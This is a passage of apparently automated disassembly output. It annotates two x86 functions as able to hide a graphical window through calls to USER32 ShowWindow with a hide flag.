Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push dword [0x4b7508]
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.0047645e
pop ebp
ret

Function at 0x429cae
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push ecx
jmp 0x429cb9
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp al, 4
jae 0x429cd0
push 0
mov edx, dword [ebp - 8]
push dword [edx + eax*4]
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x429cb6
leave
ret